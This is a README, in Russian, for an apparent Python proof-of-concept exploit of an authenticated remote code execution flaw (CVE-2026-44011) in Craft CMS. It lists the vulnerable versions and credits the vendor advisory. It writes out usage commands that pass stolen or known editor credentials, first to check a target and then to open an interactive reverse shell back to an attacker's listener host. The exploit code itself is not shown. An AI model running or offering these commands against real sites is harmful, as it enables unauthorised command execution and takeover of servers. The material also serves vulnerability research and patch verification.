
Аутентифицированный PoC RCE в Craft CMS для CVE-2026-44011
Этот скрипт на Python адаптирует атаку, описанную в рекомендации по безопасности Craft CMS. Аутентифицированный пользователь Craft может достичь уязвимого пути конфигурации макета поля и заставить сервер выполнить команды.
Уязвимыми являются версии Craft CMS >=4.0.0, <4.17.12 и >=5.0.0, <5.9.18.
Скрипт требует наличия curl на обоих хостах. На сервере используется Bash. Python3 на сервере также предоставляет интерактивный PTY; без него оболочка переключается на базовое соединение.
# Confirm the host is vulnerable
python3 cve-2026-44011.py --url https://target.example --lhost 192.0.2.10 --lport 8000 --username editor --password 'password' --check
# Open an interactive shell
python3 cve-2026-44011.py --url https://target.example --lhost 192.0.2.10 --lport 8000 --username editor --password 'password'
Craft CMS указывает @precicom-vincent-tl как обнаружителя CVE-2026-44011. Детали уязвимости и пример полезной нагрузки опубликованы в рекомендации Craft CMS GHSA-qrgm-p9w5-rrfw. Этот скрипт адаптирует опубликованную там технику.